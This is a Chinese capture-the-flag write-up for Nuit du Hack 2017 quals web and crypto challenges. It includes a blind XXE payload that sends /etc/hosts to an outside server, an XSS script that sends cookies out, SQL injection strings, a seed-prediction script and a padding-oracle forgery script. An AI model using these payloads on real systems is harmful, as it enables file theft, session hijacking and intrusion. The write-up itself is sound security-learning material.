Nuit-du-hack-2017-web-and-crypto-Writeup

眼看着三月份过完了,第一次感觉这个月打了好多比赛啊,完全没有足够的时间让我静下来好好学点知识,几次比赛打下来,还是发现自己很多很多问题,很多基础知识打得不牢靠,另外也有很多东西想学,好几场的比赛加上复习四月初的考试,真是报警了,明显感觉自己开始有点浮躁了,状态不行。等四月份考完试,静下来认真学点东西。

web-75 No Pain No Gain

进去发现是一个上传页面,上传csv,进行转换,fuzz时候得到过这样的错误 所以猜测是xxe, 然后尝试一波之后没有想法,一直都报错,后来才知道,报错是没关系的,因为已经执行了,所以是一个blind xxe 我之前学习xxe的时候也做了笔记,传送门:http://bendawang.site/article/XXE-Injection%E7%AC%94%E8%AE%B0

然后直接用里面的payload改一该就好了,这里我们一般不读/etc/passwd,一般读/etc/hosts,提交的文件内容如下:

<!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts"><!ENTITY % xxe SYSTEM "http://104.160.43.154:8000/evil.dtd"> %xxe;%send; ]>
<!-- Invitations -->
id,name,email

然后vps上的evil.dtd内容如下:

<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://104.160.43.154:8000/xss/?file=%file;'>"
>
%all;

成功获取到hosts的内容,那么开始寻找flag,找到死都没找到,最后蛋总说是在/home/flag/flag里面,除了伏地膜之外我还能干啥…orz….. 最后截图如下:

web-100 Slumdog Millionaire

从题目获取代码如下:

#!/usr/bin/python2.7

import random

import config
import utils


random.seed(utils.get_pid())
ngames = 0


def generate_combination():
    numbers = ""
    for _ in range(10):
        rand_num = random.randint(0, 99)
        if rand_num < 10:
            numbers += "0"
        numbers += str(rand_num)
        if _ != 9:
            numbers += "-"
    return numbers


def reset_jackpot():
    random.seed(utils.get_pid())
    utils.set_jackpot(0)
    ngames = 0


def draw(user_guess):
    ngames += 1
    if ngames > config.MAX_TRIES:
        reset_jackpot()
    winning_combination = generate_combination()
    if winning_combination == user_guess:
        utils.win()
        reset_jackpot()

查看之后发现很简单,要是我们知道了seed即那个进程的pid,那么就能预测所有的组合,所以先在网页随便输入一串东西,然后得到第一次的正确答案,这里我得到的是56-08-50-98-94-51-01-75-63-61 然后运行如下代码就好了

import random

def generate_combination():
    numbers = ""
    for _ in range(10):
        rand_num = random.randint(0, 99)
        if rand_num < 10:
            numbers += "0"
        numbers += str(rand_num)
        if _ != 9:
            numbers += "-"
    return numbers
seed=0
for i in xrange(1,10000):
    random.seed(i)
    ret = generate_combination()
    print ret
    if (ret == '56-08-50-98-94-51-01-75-63-61'):
        print 'find',i
        seed=i
        break
random.seed(seed)
ans=generate_combination()
ans=generate_combination()
print ans

得到ans提交就拿到flag了

web-120 Divide and rule

首先点进去是个登陆页面, 然后去search那儿找东西 发现那一堆查询参数是存在注入的,随便加个单引号就不返回值了。 然后尝试联合查询发现还是不返回,后来想到这么多参数很可能是长度受了限制,然后就分开来,最后测试成功,如下:

firstname='union select/*&lastname=*/1,2,3,4,5,6#&position=&country=123&gender=

但是有一个问题就是,长度限制后来测出来好像是15,这样子没办法查表名和列名之类的,因为information_schema太长了。 后来脑洞了一下猜到表名是users, 然后根据初始登录页面的name猜到字段名分别是loginpassword

firstname='union select/*&lastname=*/login/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=

firstname='union select/*&lastname=*/password/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=

得到三个用户名和三个md5的密码值,MD5解密之后登陆就拿到flag了

#三个用户名
ruleradmin
patrick
raoul

#三个密码
04fc95a5debc7474a84fad9c50a1035d #smart1985
db6eab0550da4b056d1a33ba2e8ced66 #1badgurl
7ac89e3c1f1a71ee19374d7e8912714b #1badboy

web-200 Purple Posse Market

进去之后研究半天,发现有一个contact页面可以提交一些东西,然后其他好像也没有太多用,题目描述让拿到管理员的IBAN账户。那多半是xss拿到cookie登陆后台了,然后在评论这里尝试提交,发现根本没有过滤,下面代码直接就能返回

<script src="http://你的xss平台"></script>

刚开始做的时候bot巨慢无比。。10多分钟才打回来知道没有过滤,白白浪费我半天,后来突然就变快了。。。僵硬。。 回到题目,既然没有过滤,那么直接执行js就好了,提交如下:

<script src="http://你的网址/requests.js"></script>

然后这个request.js这样写的

$.get("http://你的xss平台?a="+document.cookie,function(data,status){})

截图如下: 登陆进去就能看到IBAN账户,这就是flag了。

web-250 WhyUNoKnock

crypto-250 MarkIsFaillingDownDrunk

进去之后随便点一个,发现链接变成这个

http://markisfaillingdowndrunk.quals.nuitduhack.com/view/deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

这一看都不用想,80%是padding oracle, 然后开始写代码,先把他的几串东西的明文搞出来,代码如下:

import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):
    result=requests.get(url+param)
    #print result.content
    return result

def xor(a, b):
    print "length",len(a),len(b)
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
    l=len(string)
    if l!=N:
        return string+chr(N-l)*(N-l)

def padding_oracle(N,cipher): ##return middle
    get=""
    for i in xrange(1,N+1):
        for j in xrange(0,256):
            padding=xor(get,chr(i)*(i-1))
            c=chr(0)*(16-i)+chr(j)+padding+cipher
            print c.encode('hex')
            result=inject(c.encode('hex'))
            if result.status_code!=500:
                print j
                get=chr(j^i)+get
                break
    return get
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):
    c=[]
    str1=s[i].decode('hex')
    #print s[i]
    #print str1
    for j in xrange(0,len(str1),N):
        c.append(str1[j:j+N])
    l=len(c)
    print l
    p=[""]*l
    for j in xrange(l-1,0,-1):
        middle=padding_oracle(N,c[j])
        print "========================middle================================"
        print j
        print middle.encode('hex')
        p[j]=xor(middle,c[j-1])
        print p[j]
    print "==========================plain==============================="
    print i
    print p
    ans.append(p)
print ans

服务器真是慢的我想日狗了,做了那么多padding oracle,从来没有遇到这么慢的服务器好吧。。。平均一个一分钟,一组就是16分钟,光跑第一串出来就用了n久。。。 然后我是开了两个程序顺序反序一起跑,把第一串和第四串跑出来是个这样的东西,

1:https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.md\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10

4:https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02

访问一下,内容是这个

# Welcome to MarkParser !
## This is a simple Markdown test.

Test for dynamic rendering :

[{{ config['WEBSITE_NAME'] }}](/)

再看看它网页的内容 这样就很明白了, 也就是说他的view后面直接跟的链接。他会读取链接的内容,然后进行markdown转换,然后在进行模板渲染。 所以接下来的思路也就很明确很简单了,让它访问我们的网站预先放好的md,然后就是个ssti了,通过一些奇怪姿势找到执行命令或是读取文件的函数就行了。 这里由于有了第四个链接,所以我构造一个目录如下:

第四个密文对应明文: https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02
我的网页          : http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README\x02\x02

最后一组明文和他密文解密出来的一样,这样我就可以维持最后一个分组密文以及倒数第二个分组的密文不变了。然后依次通过padding oracle获取中间值,与构造的密文异或得到构造的密文,从而得到我的网址对应的密文 至于具体padding oracle伪造明文的原理这里不赘述了,可以去看我之前的博客或是直接私聊我。 代码如下:

import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):
    result=requests.get(url+param)
    #print result.content
    return result

def xor(a, b):
    print "length",len(a),len(b)
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
    l=len(string)
    if l!=N:
        return string+chr(N-l)*(N-l)

def padding_oracle(N,cipher): ##return middle
    get=""
    for i in xrange(1,N+1):
        for j in xrange(0,256):
            padding=xor(get,chr(i)*(i-1))
            c=chr(0)*(16-i)+chr(j)+padding+cipher
            print c.encode('hex')
            result=inject(c.encode('hex'))
            if result.status_code!=500:
                print j
                get=chr(j^i)+get
                break
    return get
'''
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):
    c=[]
    str1=s[i].decode('hex')
    #print s[i]
    #print str1
    for j in xrange(0,len(str1),N):
        c.append(str1[j:j+N])
    l=len(c)
    print l
    p=[""]*l
    for j in xrange(l-1,0,-1):
        middle=padding_oracle(N,c[j])
        print "========================middle================================"
        print j
        print middle.encode('hex')
        p[j]=xor(middle,c[j-1])
        print p[j]
    print "==========================plain==============================="
    print i
    print p
    ans.append(p)
print ans
'''


'''
1    :   https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.md\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10
2    :
3    :
4    :   https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02
myans:   http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README\x02\x02

'''

cipher=[
        "deadbeefcafedeadbeefcafe04030201",
        "52208110d1a06ce628ff8e10f4cbc1aa",
        "96ac276f57b6d80e50df1050c455fdf4",
        "40d56ae51399ceb30b5b69153ddc2302",
        "19e3f662023665e8885c90867b8c3a02"
        ]
middle=[
        'b6d9ca9fb9c4f182cc8ebdd0636a7669',
        '2742f463b4d20f89468beb7e80e5a2c5',
        'fb8343033ec2a22120a67322bd25899b',
        '6fb80b9667fcbc9c591e285170992100'
        ]
ans   =[
        "http://104.160.4",
        "3.154:8000/xxxxx",
        "xxxxxxxxxxxxxxxx",
        "/master/README\x02\x02"
       ]

tmp_ans=[""]*5

tmp_ans[4]=cipher[4]
tmp_ans[3]=cipher[3]
tmp_middle=middle[2].decode('hex')
tmp_ans[2]=xor(ans[2],tmp_middle).encode("hex")

tmp_middle=padding_oracle(N,tmp_ans[2].decode("hex"))
print tmp_middle.encode('hex')   #"9d41e1434f05be3bea284b8d2eb8928b".decode('hex')

tmp_ans[1]=xor(ans[1],tmp_middle).encode("hex")
tmp_middle=padding_oracle(N,tmp_ans[1].decode("hex"))
print tmp_middle.encode('hex')   #"c05b49fef1d14b17aa0dd98a591ea57f".decode('hex')

tmp_ans[0]=xor(ans[0],tmp_middle).encode("hex")
view="".join(i for i in tmp_ans)
print view
#a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

通过上述代码,我得到我的这个链接http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README对应的密文是

a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

然后我修改我的网站的README的内容为 注意下我的这个内容外面包了两个反撇号,因为我们刚才说了,他会读取链接的内容,然后进行markdown转换,然后在进行模板渲染。markdown,转换在先,很多我们需要用的符号在markdown里面都有特殊语义会被转换,加上这两个反撇号就好了。 然后尝试访问

http://markisfaillingdowndrunk.quals.nuitduhack.com/view/a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02

结果如下: 成功了, 好的,接下来就找出SSTI的payload执行一波命令,发现失败了,经过一番测试才知道题目用的环境是python3,而平时做的题目之类的都是python2,那么开始在python3下面寻找姿势。 找了n久n久,终于找到了 最后payload如下: 直接访问得到flag如下: